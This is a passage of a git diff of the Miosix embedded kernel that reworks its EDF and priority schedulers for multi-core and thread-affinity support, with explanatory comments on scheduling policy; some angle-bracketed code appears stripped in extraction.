EDFSchedulerPriority newPriority) { - remove(thread); + if(extraChecks==ExtraChecks::Kernel) + if(thread->flags.isZombie()) errorHandler(Error::UNEXPECTED); + + // If thread is running it is not in any list, only change priority value + for(int i=0;ischedData.deadline=newPriority; + return; + } + } + // If thread is not ready it will remain in the notReadyThreads list, + // only change priority value + if(thread->flags.isReady()==false) + { + thread->schedData.deadline=newPriority; + return; + } + bool oldRR=thread->schedData.deadline.get()==numeric_limits::max()-2; + bool newRR=newPriority==numeric_limits::max()-2; + // Ready threads are harder because of two constraints: + // 1) Changing priority may switch a thread from real-time (with deadline, + // scheduled with EDF) to non-real-time (no deadline, scheduled with RR) + // and in this case it needs to switch queue + // 2) Even if a thread is and remains real-time, it needs to be removed + // from the EDF queue and be re-inserted with the new priority (deadline) + // to keep it sorted + // Thus a thread will need to be removed/re-inserted unless it is and will + // remain non-real-time + if(oldRR==true || newRR==true) + { + thread->schedData.deadline=newPriority; + return; + } + // Remove from old queue + if(oldRR) readyRrThreads.remove(thread); + else readyEdfThreads.remove(thread); + // Set priority to the new value thread->schedData.deadline=newPriority; - add(thread); + // After priority changed, can insert the thread in the new queue + if(newRR) readyRrThreads.enqueue(thread); + else readyEdfThreads.enqueue(thread); } -void EDFScheduler::IRQsetIdleThread(Thread *idleThread) +void EDFScheduler::IRQsetIdleThread(int whichCore, Thread *idleThread) { idleThread->schedData.deadline=numeric_limits::max()-1; - add(idleThread); + idleThread->savedPriority=numeric_limits::max()-1; + idle[whichCore]=idleThread; } -long long EDFScheduler::IRQgetNextPreemption() +void EDFScheduler::IRQwokenThread(Thread* thread) { - return nextPreemption; + // NOTE: this check is necessary as there is the corner case of a thread + // that has just set itself to sleeping/waiting but it gets woken up before + // the scheduler has a chance to run. Thus it is both awakened and running, + // and we must not call notReadyThreads.removeFast(thread) if it's not in + // that list as it causes undefined behavior + for(int i=0;ischedData.deadline.get()==numeric_limits::max()-2) + readyRrThreads.enqueue(thread); + else readyEdfThreads.enqueue(thread); } -static void IRQsetNextPreemption() -{ - if(sleepingList.empty()) nextPreemption=numeric_limits::max(); - else nextPreemption=sleepingList.front()->wakeupTime; - - //We could not set an interrupt if the sleeping list is empty, but then we - //would spuriously run the scheduler at every rollover of the hardware timer - //and this could waste more cycles than setting the interrupt - internal::IRQosTimerSetInterrupt(nextPreemption); -} +/* + * Please read the comment in the priority scheduler for the general overview + * of the Miosix 3.0 scheduler operation. + * Compared to the priority scheduler the EDF scheduler is actually a + * combination of two schedulers in one: the actual EDF scheduler and a + * Round Robin (RR) scheduler. The reason for this choice is due to the fact + * that not all threads may be real-time threads, and it's hard to assign a + * deadline value to non-real-time threads without causing side effect such as + * "priority inversion". This was the main usability issue of the EDF scheduler + * in older Miosix versions, and it has been overcome by scheduling + * non-real-time threads separately using RR. + * With this scheduler, every thread is assigned a priority which is a 64 bit + * number, to be set with the Thread::setPriority() API. + * The special priority value std::numeric_limits::max()-2 known as + * DEFAULT_PRIORITY as defined in miosix_settings.h corresponds to non-real-time + * threads which are scheduled using RR. + * Any other priority value is interpreted as a deadline expressed in absolute + * time and makes the thread real-time and scheduled with EDF instead of RR. + * This scheduler will always schedule real-time threads before non-real-time + * threads, the RR scheduler only works when all real-time threads are blocked. + * Since deadlines are absolute times, a thread must constantly update the + * deadline value by calling Thread::setPriority() as soon as it has completed + * its workload (hopefully the task pool is schedulable, and this will occur + * before the deadline expired). + * This approach can flexibly support periodic tasks (deadline is updated at + * every period to be the end of the next period), aperiodic tasks (just change + * the period on-the-fly when updating the deadline), sporadic tasks (usually + * waiting for an event, when the event arrives, they are woken and a deadline + * is set) as well as threads that switch between real-time and non-real-time + * (just calling Thread::setPriority(DEFAULT_PRIORITY) will switch the thread + * from being a real-time thread to a non-real-time one). + * Unlike other operating systems, the EDF scheduler in Miosix will never + * preempt the thread with the earliest deadline, even if the deadline is missed + * and now in the past. A thread waking up with a deadline in the past will + * also be scheduled immediately (unless another thread with a deadline even + * more in the past is running). This design makes it possible to use EDF beyond + * periodic tasks, but an off-line schedulability analysis is suggested to make + * sure the task pool is schedulable. + */ -void EDFScheduler::IRQfindNextThread() +void EDFScheduler::IRQrunScheduler() { - if(kernelRunning!=0) //If kernel is paused, do nothing + FastGlobalLockFromIrq lock; + IRQstackOverflowCheck(); + //If kernel is paused, preemption is disabled + #ifdef WITH_SMP + auto coreId=getCurrentCoreId(); + if(FastPauseKernelLock::holdingCore==coreId) + #else + constexpr unsigned char coreId=0; + if(FastPauseKernelLock::holdingCore==0) + #endif { - pendingWakeup=true; + FastPauseKernelLock::pendingWakeup=true; return; } - #ifdef WITH_CPU_TIME_COUNTER - Thread *prev=const_cast(runningThread); - #endif // WITH_CPU_TIME_COUNTER - Thread *walk=head; - for(;;) + + // If the previously running thread is not idle, we need to put it in a list + Thread *prev=const_cast(runningThreads[coreId]); + if(prev!=idle[coreId]) { - if(walk==nullptr) errorHandler(UNEXPECTED); - if(walk->flags.isReady()) + // NOTE: notReadyThreads must be pushed back if deleted, front if not + if(prev->flags.isZombie()) [[unlikely]] notReadyThreads.push_back(prev); + else if(prev->flags.isReady()==false) notReadyThreads.push_front(prev); + else if(prev->schedData.deadline.get()==numeric_limits::max()-2) + readyRrThreads.enqueue(prev); + else readyEdfThreads.enqueue(prev); + } + + // Try to find a ready real-time thread first. + // If not found, try to find a ready non-real-time thread + #if defined(WITH_THREAD_AFFINITY) && defined(WITH_SMP) + // Cache the deadline of all running threads in an array. Note that we're + // interested in the deadlines after the scheduler is run but we still + // don't what the deadline will be on the current core as we haven't + // done the scheduling yet. However, since this variable is used to decide + // if we need to invoke the scheduler on another core we just lie and set + // the deadline of the current core to 0 value so as to always exclude the + // current core + long long runningDeadline[CPU_NUM_CORES]; + for(int c=0;c(runningThreads[c])->schedData.deadline.get(); + runningDeadline[coreId]=0; + int scheduleOnOtherCore=-1; + // If the kernel is compiled with affinity support we can't just pick + // the first thread in the ready list, we need to check the affinity + Thread *next=nullptr; + auto edfIt=begin(readyEdfThreads); + for(;edfIt!=end(readyEdfThreads);++edfIt) + { + auto affinity=(*edfIt)->affinity; + if(affinity & (1<(runningThread)->flags.isInUserspace()==false) + // Found highest priority thread whose affinity is compatible + // with this core. That's the one we'll schedule + next=*edfIt; + edfIt=readyEdfThreads.erase(edfIt); + break; + } else { + // Found thread that can't run on this core due to affinity. + // On the cores it can run it may however preempt the currently + // running thread. We only need to find one such thread though + // as if there are more, they will be discovered when the + // scheduler is called on the other core (distributed algorithm) + if(scheduleOnOtherCore>=0) continue; + long long deadline=(*edfIt)->schedData.deadline.get(); + for(int c=0;cctxsave; - MPUConfiguration::IRQdisable(); - } else { - ctxsave=runningThread->userCtxsave; - //A kernel thread is never in userspace, so the cast is safe - static_cast(runningThread->proc)->mpu.IRQenable(); + if((affinity & (1<ctxsave; - #endif //WITH_PROCESSES - IRQsetNextPreemption(); - #ifdef WITH_CPU_TIME_COUNTER - IRQprofileContextSwitch(prev->timeCounterData,walk->timeCounterData, - IRQgetTime()); - #endif //WITH_CPU_TIME_COUNTER - return; } - walk=walk->schedData.next; } -} - -void EDFScheduler::add(Thread *thread) -{ - long long newDeadline=thread->schedData.deadline.get(); - if(head==nullptr) - { - head=thread; - return; - } - if(newDeadline<=head->schedData.deadline.get()) - { - thread->schedData.next=head; - head=thread; - return; - } - Thread *walk=head; - for(;;) + auto rrIt=begin(readyRrThreads); + if(next==nullptr) { - if(walk->schedData.next==nullptr || newDeadline<= - walk->schedData.next->schedData.deadline.get()) + for(;rrIt!=end(readyRrThreads);++rrIt) { - thread->schedData.next=walk->schedData.next; - walk->schedData.next=thread; - break; + auto affinity=(*rrIt)->affinity; + if(affinity & (1<=0) continue; + for(int c=0;c::max()-1) + continue; + scheduleOnOtherCore=c; + break; + } + } } - walk=walk->schedData.next; } -} + #else //defined(WITH_THREAD_AFFINITY) && defined(WITH_SMP) + Thread *next=readyEdfThreads.dequeueOne(); + if(next==nullptr) next=readyRrThreads.dequeueOne(); + #endif //defined(WITH_THREAD_AFFINITY) && defined(WITH_SMP) + //Otherwise, run idle + if(next==nullptr) next=idle[coreId]; -void EDFScheduler::remove(Thread *thread) -{ - if(head==nullptr) errorHandler(UNEXPECTED); - if(head==thread) + runningThreads[coreId]=next; + #ifdef WITH_PROCESSES + if(next->flags.isInUserspace()==false) { - head=head->schedData.next; - return; + ctxsave[coreId]=next->ctxsave; + MPUConfiguration::IRQdisable(); + } else { + ctxsave[coreId]=next->userCtxsave; + //A kernel thread is never in userspace, so the cast is safe + static_cast(next->proc)->mpu.IRQenable(); } - Thread *walk=head; - for(;;) + #else //WITH_PROCESSES + ctxsave[coreId]=next->ctxsave; + #endif //WITH_PROCESSES + // Real-time threads (and idle), have no time slice + unsigned int timeSlice=0; + if(next->schedData.deadline.get()==std::numeric_limits::max()-2) + timeSlice=MAX_TIME_SLICE; + #ifndef WITH_CPU_TIME_COUNTER + Scheduler::IRQcomputePreemption(coreId,timeSlice); + #else //WITH_CPU_TIME_COUNTER + auto now=Scheduler::IRQcomputePreemption(coreId,timeSlice); + CPUTimeCounter::IRQprofileContextSwitch(prev,next,now,coreId); + #endif //WITH_CPU_TIME_COUNTER + + #ifdef WITH_SMP + // In case multiple threads are woken at the same time, we may have to + // schedule more than one earlier deadline thread than currently running. + // When this happens, we need to call the scheduler again on more than + // one core. Additionally, if compiling with thread affinity we may have + // already found that we need to invoke the scheduler on another core + // because an earliest deadline thread wasn't selected on this core due to + // incompatible affinity. In this case skip this algorithm as we don't + // need to solve the schedule for all cores, just figuring out that + // it's wrong one core is enough. Then the invoked scheduler on that + // core will complete the job and figure out if there is the need to + // reschedule on yet another core + #ifdef WITH_THREAD_AFFINITY + // With affinity, see if we find a compatible thread with earlier deadline + if(scheduleOnOtherCore<0) { - if(walk->schedData.next==nullptr) errorHandler(UNEXPECTED); - if(walk->schedData.next==thread) + long long latestRunningDeadline=runningDeadline[0]; + for(int c=1;cschedData.next=walk->schedData.next->schedData.next; - break; + long long deadline=(*edfIt)->schedData.deadline.get(); + if(deadline>=latestRunningDeadline) goto checkCompleted; + auto affinity=(*edfIt)->affinity; + for(int c=0;c::max()-1) + { + for(;rrIt!=end(readyRrThreads);++rrIt) + { + auto affinity=(*rrIt)->affinity; + // Non-real-time threads can only preempt idle + for(int c=0;c::max()-1) + continue; + IRQinvokeSchedulerOnCore(c); + goto checkCompleted; + } + } + } + checkCompleted:; + } else IRQinvokeSchedulerOnCore(scheduleOnOtherCore); + #else //WITH_THREAD_AFFINITY + // No affinity, just knowing a ready thread exists with an eraliest deadline + // is enough, it can surely be running on any core + long long secondEarliestDeadline=numeric_limits::max()-1; + if(readyEdfThreads.empty()==false) + secondEarliestDeadline=readyEdfThreads.front()->schedData.deadline.get(); + else if(readyRrThreads.empty()==false) + secondEarliestDeadline=numeric_limits::max()-2; + if(secondEarliestDeadline!=numeric_limits::max()-1) + { + for(int c=0;c(runningThreads[c])-> + schedData.deadline.get()) + { + IRQinvokeSchedulerOnCore(c); + break; + } } - walk=walk->schedData.next; } + #endif //WITH_THREAD_AFFINITY + #endif //WITH_SMP } -Thread *EDFScheduler::head=nullptr; +TimeSortedQueue EDFScheduler::readyEdfThreads; +FifoQueue EDFScheduler::readyRrThreads; +IntrusiveList EDFScheduler::notReadyThreads; +Thread *EDFScheduler::idle[CPU_NUM_CORES]={nullptr}; + +#ifdef OS_TIMER_MODEL_UNIFIED +template +long long basic_scheduler::nextPreemptionWakeupCore=numeric_limits::max(); +#endif //OS_TIMER_MODEL_UNIFIED } //namespace miosix diff --git a/miosix/kernel/scheduler/edf/edf_scheduler.h b/miosix/kernel/scheduler/edf/edf_scheduler.h index 4750eefa5..7a7c1303e 100755 --- a/miosix/kernel/scheduler/edf/edf_scheduler.h +++ b/miosix/kernel/scheduler/edf/edf_scheduler.h @@ -1,5 +1,5 @@ /*************************************************************************** - * Copyright (C) 2010, 2011 by Terraneo Federico * + * Copyright (C) 2010-2025 by Terraneo Federico * * * * This program is free software; you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * @@ -27,10 +27,11 @@ #pragma once -#include "config/miosix_settings.h" +#include "miosix_settings.h" +#include "interfaces/cpu_const.h" #include "edf_scheduler_types.h" -#include "kernel/kernel.h" -#include +#include "kernel/thread.h" +#include "kernel/sched_data_structures.h" #ifdef SCHED_TYPE_EDF @@ -49,29 +50,33 @@ class EDFScheduler * This is called when a thread is created. * \param thread a pointer to a valid thread instance. * The behaviour is undefined if a thread is added multiple timed to the - * scheduler, or if thread is NULL. + * scheduler, or if thread is nullptr. * \param priority the priority of the new thread. * Priority must be a positive value. * Note that the meaning of priority is scheduler specific. + * \return false if an error occurred and the thread could not be added to + * the scheduler + * + * Note: this member function is called also before the kernel is started + * to add the main and idle thread. */ - static bool PKaddThread(Thread *thread, EDFSchedulerPriority priority); + static bool IRQaddThread(Thread *thread, EDFSchedulerPriority priority); /** + * \internal * \return true if thread exists, false if does not exist or has been * deleted. A joinable thread is considered existing until it has been * joined, even if it returns from its entry point (unless it is detached * and terminates). - * - * Can be called both with the kernel paused and with interrupts disabled. */ - static bool PKexists(Thread *thread); + static bool IRQexists(Thread *thread); /** * \internal * Called when there is at least one dead thread to be removed from the * scheduler */ - static void PKremoveDeadThreads(); + static void removeDeadThreads(); /** * \internal @@ -81,7 +86,7 @@ class EDFScheduler * \param newPriority new thread priority. * Priority must be a positive value. */ - static void PKsetPriority(Thread *thread, EDFSchedulerPriority newPriority); + static void IRQsetPriority(Thread *thread, EDFSchedulerPriority newPriority); /** * \internal @@ -98,11 +103,15 @@ class EDFScheduler /** * \internal - * This is called before the kernel is started to by the kernel. The given + * This is called before the kernel is started by the kernel. The given * thread is the idle thread, to be run all the times where no other thread * can run. + * \param whichCore either 0 on single core platforms, or specify for which + * core this idle thread is meant to be used. Note that it is expected that + * during boot exactly one idle thread for each core is given to the + * scheduler */ - static void IRQsetIdleThread(Thread *idleThread); + static void IRQsetIdleThread(int whichCore, Thread *idleThread); /** * \internal @@ -110,43 +119,49 @@ class EDFScheduler * its running status. For example when a thread become sleeping, waiting, * deleted or if it exits the sleeping or waiting status */ - static void IRQwaitStatusHook(Thread *t) {} + static void IRQwaitStatusHook(Thread *thread) {} /** - * This function is used to develop interrupt driven peripheral drivers.
- * Can be used ONLY inside an IRQ (and not when interrupts are disabled) to - * find next thread in READY status. If the kernel is paused, does nothing. - * Can be used for example if an IRQ causes a higher priority thread to be - * woken, to change context. Note that to use this function the IRQ must - * use the macros to save/restore context defined in portability.h - * - * If the kernel is paused does nothing. - * It's behaviour is to modify the global variable miosix::cur which always - * points to the currently running thread. + * \internal + * Called when a thread transitions from waiting/sleeping to ready. + * Must not be called if the thread is already ready. */ - static void IRQfindNextThread(); + static void IRQwokenThread(Thread* thread); /** * \internal - * \return the next scheduled preemption set by the scheduler - * In case no preemption is set returns numeric_limits::max() + * This function is used only by the kernel code to run the scheduler. + * It finds the next thread in READY status. If the kernel is paused, + * does nothing. It's behaviour is to modify the global variable + * miosix::runningThread which always points to the currently running thread. */ - static long long IRQgetNextPreemption(); + static void IRQrunScheduler(); private: /** - * Add a thread to the list of threads, keeping the list ordered by deadline - * \param thread thread to add + * Functor needed by TimeSortedQueue to insert the thread in the correct + * place in the waiting list based on its deadline */ - static void add(Thread *thread); + struct GetTime + { + long long operator()(Thread *thread) + { + return thread->schedData.deadline.get(); + } + }; - /** - * Remove a thread to the list of threads. - * \param thread thread to remove - */ - static void remove(Thread *thread); + ///\internal Deadline-sorted queue of ready threads with deadline (EDF-scheduled) + static TimeSortedQueue readyEdfThreads; + + ///\internal FIFO queue of ready threads without deadline (RR scheduled) + static FifoQueue readyRrThreads; + + ///\internal List of threads that are not ready. + ///Keep the invariant that deleted threads are pushed to the back! + static IntrusiveList notReadyThreads; - static Thread *head;///<\internal Head of threads list, ordered by deadline + ///\internal idle threads (one per core) + static Thread *idle[CPU_NUM_CORES]; }; } //namespace miosix diff --git a/miosix/kernel/scheduler/edf/edf_scheduler_types.h b/miosix/kernel/scheduler/edf/edf_scheduler_types.h index 3fd902ca0..3665b80c1 100644 --- a/miosix/kernel/scheduler/edf/edf_scheduler_types.h +++ b/miosix/kernel/scheduler/edf/edf_scheduler_types.h @@ -27,7 +27,7 @@ #pragma once -#include "config/miosix_settings.h" +#include "miosix_settings.h" #include #ifdef SCHED_TYPE_EDF @@ -53,7 +53,7 @@ class EDFSchedulerPriority /** * Default constructor. */ - EDFSchedulerPriority() : deadline(MAIN_PRIORITY) {} + EDFSchedulerPriority() : deadline(DEFAULT_PRIORITY) {} /** * \return the priority value diff --git a/miosix/kernel/scheduler/priority/priority_scheduler.cpp b/miosix/kernel/scheduler/priority/priority_scheduler.cpp index 4d75487f4..8af87ba71 100644 --- a/miosix/kernel/scheduler/priority/priority_scheduler.cpp +++ b/miosix/kernel/scheduler/priority/priority_scheduler.cpp @@ -1,5 +1,5 @@ /*************************************************************************** - * Copyright (C) 2010, 2011, 2012 by Terraneo Federico * + * Copyright (C) 2010-2025 by Terraneo Federico * * * * This program is free software; you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * @@ -26,263 +26,349 @@ ***************************************************************************/ #include "priority_scheduler.h" +#include "kernel/scheduler/scheduler.h" #include "kernel/error.h" #include "kernel/process.h" -#include "interfaces/os_timer.h" +#include "interfaces_private/cpu.h" +#include "interfaces_private/smp.h" +#include "kernel/cpu_time_counter.h" #include +using namespace std; + #ifdef SCHED_TYPE_PRIORITY namespace miosix { -//These are defined in kernel.cpp -extern volatile Thread *runningThread; -extern volatile int kernelRunning; -extern volatile bool pendingWakeup; -extern IntrusiveList sleepingList; - -//Internal data -static long long nextPeriodicPreemption=std::numeric_limits::max(); +//These are defined in thread.cpp +extern volatile Thread *runningThreads[CPU_NUM_CORES]; // // class PriorityScheduler // -bool PriorityScheduler::PKaddThread(Thread *thread, +bool PriorityScheduler::IRQaddThread(Thread *thread, PrioritySchedulerPriority priority) { thread->schedData.priority=priority; - if(threadList[priority.get()]==nullptr) - { - threadList[priority.get()]=thread; - thread->schedData.next=thread;//Circular list - } else { - thread->schedData.next=threadList[priority.get()]->schedData.next; - threadList[priority.get()]->schedData.next=thread; - } + //Priority and savedPriority must be the same except when locking a mutex + //with priority inheritance. A newly created thread isn't yet locking mutex + thread->savedPriority=priority; + #ifdef WITH_PROCESSES + // Check isReady() as processes are initially created in not ready state + if(thread->flags.isReady()==false) notReadyThreads.push_front(thread); + else + #endif //WITH_PROCESSES + readyThreads[priority.get()].push_back(thread); return true; } -bool PriorityScheduler::PKexists(Thread *thread) +bool PriorityScheduler::IRQexists(Thread *thread) { - for(int i=PRIORITY_MAX-1;i>=0;i--) - { - if(threadList[i]==nullptr) continue; - Thread *temp=threadList[i]; - for(;;) - { - if((temp==thread) && (!temp->flags.isDeleted())) return true; - temp=temp->schedData.next; - if(temp==threadList[i]) break; - } - } + for(int i=0;iflags.isDeleted(); + for(int i=NUM_PRIORITIES-1;i>=0;i--) + for(auto t : readyThreads[i]) if(t==thread) return true; + for(auto t : notReadyThreads) if(t==thread) return !thread->flags.isDeleted(); return false; } -void PriorityScheduler::PKremoveDeadThreads() +void PriorityScheduler::removeDeadThreads() { - for(int i=PRIORITY_MAX-1;i>=0;i--) + for(;;) { - if(threadList[i]==nullptr) continue; - bool first=false;//If false the tail of the list hasn't been calculated - Thread *tail=nullptr;//Tail of the list - //Special case: removing first element in the list - while(threadList[i]->flags.isDeleted()) - { - if(threadList[i]->schedData.next==threadList[i]) - { - //Only one element in the list - //Call destructor manually because of placement new - void *base=threadList[i]->watermark; - threadList[i]->~Thread(); - free(base); //Delete ALL thread memory - threadList[i]=nullptr; - break; - } - //If it is the first time the tail of the list hasn't - //been calculated - if(first==false) - { - first=true; - tail=threadList[i]; - while(tail->schedData.next!=threadList[i]) - tail=tail->schedData.next; - } - Thread *d=threadList[i];//Save a pointer to the thread - threadList[i]=threadList[i]->schedData.next;//Remove from list - //Fix the tail of the circular list - tail->schedData.next=threadList[i]; - //Call destructor manually because of placement new - void *base=d->watermark; - d->~Thread(); - free(base);//Delete ALL thread memory - } - if(threadList[i]==nullptr) continue; - //If it comes here, the first item is not nullptr, and doesn't have - //to be deleted General case: removing items not at the first - //place - Thread *temp=threadList[i]; - for(;;) + Thread *t; { - if(temp->schedData.next==threadList[i]) break; - if(temp->schedData.next->flags.isDeleted()) - { - Thread *d=temp->schedData.next;//Save a pointer to the thread - //Remove from list - temp->schedData.next=temp->schedData.next->schedData.next; - //Call destructor manually because of placement new - void *base=d->watermark; - d->~Thread(); - free(base);//Delete ALL thread memory - } else temp=temp->schedData.next; + FastGlobalIrqLock dLock; + if(notReadyThreads.empty()) return; + t=notReadyThreads.back(); + // All deleted threads are at the bottom of the list, so the first + // not deleted we found means there are no more + if(t->flags.isDeleted()==false) return; + notReadyThreads.pop_back(); } + //Optimization: don't keep the lock while thread is being deleted + void *base=t->watermark; + t->~Thread();//Call destructor manually because of placement new + free(base); //Delete ALL thread memory } } -void PriorityScheduler::PKsetPriority(Thread *thread, +void PriorityScheduler::IRQsetPriority(Thread *thread, PrioritySchedulerPriority newPriority) { - PrioritySchedulerPriority oldPriority=thread->PKgetPriority(); - //First set priority to the new value - thread->schedData.priority=newPriority; - //Then remove the thread from its old list - if(threadList[oldPriority.get()]==thread) + if(extraChecks==ExtraChecks::Kernel) + if(thread->flags.isZombie()) errorHandler(Error::UNEXPECTED); + + // If thread is running it is not in any list, only change priority value + for(int i=0;ischedData.next== - threadList[oldPriority.get()]) - { - //Only one element in the list - threadList[oldPriority.get()]=nullptr; - } else { - Thread *tail=threadList[oldPriority.get()];//Tail of the list - while(tail->schedData.next!=threadList[oldPriority.get()]) - tail=tail->schedData.next; - //Remove - threadList[oldPriority.get()]= - threadList[oldPriority.get()]->schedData.next; - //Fix tail of the circular list - tail->schedData.next=threadList[oldPriority.get()]; - } - } else { - //If it comes here, the first item doesn't have to be removed - //General case: removing item not at the first place - Thread *temp=threadList[oldPriority.get()]; - for(;;) + if(thread==runningThreads[i]) { - if(temp->schedData.next==threadList[oldPriority.get()]) - { - //After walking all elements in the list the thread wasn't found - //This should never happen - errorHandler(UNEXPECTED); - } - if(temp->schedData.next==thread) - { - //Remove from list - temp->schedData.next=temp->schedData.next->schedData.next; - break; - } else temp=temp->schedData.next; + thread->schedData.priority=newPriority; + return; } } - //Last insert the thread in the new list - if(threadList[newPriority.get()]==nullptr) + // If thread is not ready it will remain in the notReadyThreads list, + // only change priority value + if(thread->flags.isReady()==false) { - threadList[newPriority.get()]=thread; - thread->schedData.next=thread;//Circular list - } else { - thread->schedData.next=threadList[newPriority.get()]->schedData.next; - threadList[newPriority.get()]->schedData.next=thread; + thread->schedData.priority=newPriority; + return; } + // Ready threads need to change list, remove the thread from its old list + readyThreads[thread->schedData.priority.get()].removeFast(thread); + // Set priority to the new value + thread->schedData.priority=newPriority; + // Last insert the thread in the new list + readyThreads[newPriority.get()].push_back(thread); } -void PriorityScheduler::IRQsetIdleThread(Thread *idleThread) +void PriorityScheduler::IRQsetIdleThread(int whichCore, Thread *idleThread) { idleThread->schedData.priority=-1; - idle=idleThread; + idleThread->savedPriority=-1; + idle[whichCore]=idleThread; } -long long PriorityScheduler::IRQgetNextPreemption() +void PriorityScheduler::IRQwokenThread(Thread* thread) { - return nextPeriodicPreemption; + // NOTE: this check is necessary as there is the corner case of a thread + // that has just set itself to sleeping/waiting but it gets woken up before + // the scheduler has a chance to run. Thus it is both awakened and running, + // and we must not call notReadyThreads.removeFast(thread) if it's not in + // that list as it causes undefined behavior + for(int i=0;ischedData.priority.get()].push_back(thread); } -static long long IRQsetNextPreemption(bool runningIdleThread) -{ - long long first; - if(sleepingList.empty()) first=std::numeric_limits::max(); - else first=sleepingList.front()->wakeupTime; - - long long t=IRQgetTime(); - if(runningIdleThread) nextPeriodicPreemption=first; - else nextPeriodicPreemption=std::min(first,t+MAX_TIME_SLICE); +/* + * The scheduler in Miosix 3.0 runs in its dedicated interrupt, which on ARM is + * called PendSV. The scheduler has no input parameter that code invoking it + * through IRQinvokeScheduler() or IRQinvokeSchedulerOnCore() can pass to it. + * Rather, when it is run, it follows a "must preempt" policy. Since it has been + * called, it assumes the currently running thread must be unconditionally + * descheduled. If the thread is still ready, it is placed at the end of the + * ready queue for its priority level. Thus, parts of the kernel that invoke the + * scheduler must be mindful not to invoke it unnecessarily (that includes not + * invoking it unnecessarily on another core in multi-core architectures), since + * doing so causes the currently running thread to be preempted for no reason. + * Excluding the cases where a thread blocks for some reason, where obviously + * the scheduler must be invoked on the current core, the more complex case of + * a thread waking (which could in theory be scheduled on any core) is handled + * through the Thread::IRQconsiderRescheduling() function that decides based on + * the woken thread priority, the priority of the threads currently running on + * each core and optionally the thread's affinity mask on which core should the + * scheduler be invoked, if at all. + * The last detail that needs to be considered is how to handle multiple threads + * waking at the same time. Example code paths include multiple threads sleeping + * with the same wakeup time and a thread terminating while another thread is + * waiting on join (see Thread::threadLauncher). In such a case there's no easy + * way to invoke the scheduler on exactly all the cores needed without + * replicating the entire scheduling algorithm in IRQconsiderRescheduling(), and + * with the added issue that there could always be a race condition between when + * IRQconsiderRescheduling() is run and when the scheduler runs changing the + * picture. We deal with this issue by IRQconsiderRescheduling() being stateless + * and always make decisions as if a single thread needs to be scheduled. + * This may result in the same core being selected for multiple high priority + * threads that could instead be scheduled concurrently on multiple cores. + * In the scheduler itself, after we schedule a thread, we evaluate the state of + * the other cores and we let the scheduler on one core invoke the scheduler + * on another core if the invariant that "no thread is ready while a lower + * priority thread is running" is broken. + */ - //We could not set an interrupt if the sleeping list is empty and runningThread - //is idle but there's no such hurry to run idle anyway, so why bother? - internal::IRQosTimerSetInterrupt(nextPeriodicPreemption); - return t; -} - -void PriorityScheduler::IRQfindNextThread() +void PriorityScheduler::IRQrunScheduler() { - if(kernelRunning!=0) //If kernel is paused, do nothing + FastGlobalLockFromIrq lock; + IRQstackOverflowCheck(); + //If kernel is paused, preemption is disabled + #ifdef WITH_SMP + auto coreId=getCurrentCoreId(); + if(FastPauseKernelLock::holdingCore==coreId) + #else + constexpr unsigned char coreId=0; + if(FastPauseKernelLock::holdingCore==0) + #endif { - pendingWakeup=true; + FastPauseKernelLock::pendingWakeup=true; return; } - #ifdef WITH_CPU_TIME_COUNTER - Thread *prev=const_cast(runningThread); - #endif // WITH_CPU_TIME_COUNTER - for(int i=PRIORITY_MAX-1;i>=0;i--) + + //If the previously running thread is not idle, we need to put it in a list + Thread *prev=const_cast(runningThreads[coreId]); + if(prev!=idle[coreId]) + { + // NOTE: notReadyThreads must be pushed back if deleted, front if not + // while if ready always back (round-robin) + if(prev->flags.isZombie()) [[unlikely]] notReadyThreads.push_back(prev); + else if(prev->flags.isReady()==false) notReadyThreads.push_front(prev); + else readyThreads[prev->schedData.priority.get()].push_back(prev); + } + #ifdef WITH_SMP + // Cache the priority of all running threads in an array. Note that we're + // interested in the priorities after the scheduler is run but we still + // don't what the priority will be on the current core as we haven't + // done the scheduling yet. However, since this variable is used to decide + // if we need to invoke the scheduler on another core we just lie and set + // the priority of the current core to the maximum value so as to always + // exclude the current core + signed char runningPrio[CPU_NUM_CORES]; + for(int c=0;c(runningThreads[c])->schedData.priority.get(); + runningPrio[coreId]=NUM_PRIORITIES-1; + #ifdef WITH_THREAD_AFFINITY + int scheduleOnOtherCore=-1; + #endif //WITH_THREAD_AFFINITY + #endif //WITH_SMP + for(int prio=NUM_PRIORITIES-1;prio>=0;prio--) { - if(threadList[i]==nullptr) continue; - Thread *temp=threadList[i]->schedData.next; - for(;;) + #if defined(WITH_THREAD_AFFINITY) && defined(WITH_SMP) + // If the kernel is compiled with affinity support we can't just pick + // the first thread in the ready list, we need to check the affinity + Thread *t=nullptr; + for(auto it=begin(readyThreads[prio]);it!=end(readyThreads[prio]);++it) { - if(temp->flags.isReady()) + auto affinity=(*it)->affinity; + if(affinity & (1<(runningThread)->flags.isInUserspace()==false) + // Found highest priority thread whose affinity is compatible + // with this core. That's the one we'll schedule + t=*it; + readyThreads[prio].erase(it); + break; + } else { + // Found thread that can't run on this core due to affinity. + // On the cores it can run it may however preempt the currently + // running thread. We only need to find one such thread though + // as if there are more, they will be discovered when the + // scheduler is called on the other core (distributed algorithm) + if(scheduleOnOtherCore>=0) continue; + for(int c=0;cctxsave; - MPUConfiguration::IRQdisable(); - } else { - ctxsave=runningThread->userCtxsave; - //A kernel thread is never in userspace, so the cast is safe - static_cast(runningThread->proc)->mpu.IRQenable(); + if((affinity & (1<ctxsave; - #endif //WITH_PROCESSES - //Rotate to next thread so that next time the list is walked - //a different thread, if available, will be chosen first - threadList[i]=temp; - #ifndef WITH_CPU_TIME_COUNTER - IRQsetNextPreemption(false); - #else //WITH_CPU_TIME_COUNTER - auto t=IRQsetNextPreemption(false); - IRQprofileContextSwitch(prev->timeCounterData,temp->timeCounterData,t); - #endif //WITH_CPU_TIME_COUNTER - return; - } else temp=temp->schedData.next; - if(temp==threadList[i]->schedData.next) break; + } } + if(t==nullptr) continue; + #else //defined(WITH_THREAD_AFFINITY) && defined(WITH_SMP) + if(readyThreads[prio].empty()) continue; + Thread *t=readyThreads[prio].front(); + readyThreads[prio].pop_front(); //Remove selected thread from list + #endif //defined(WITH_THREAD_AFFINITY) && defined(WITH_SMP) + runningThreads[coreId]=t; + #ifdef WITH_PROCESSES + if(t->flags.isInUserspace()==false) + { + ctxsave[coreId]=t->ctxsave; + MPUConfiguration::IRQdisable(); + } else { + ctxsave[coreId]=t->userCtxsave; + //A kernel thread is never in userspace, so the cast is safe + static_cast(t->proc)->mpu.IRQenable(); + } + #else //WITH_PROCESSES + ctxsave[coreId]=t->ctxsave; + #endif //WITH_PROCESSES + #ifndef 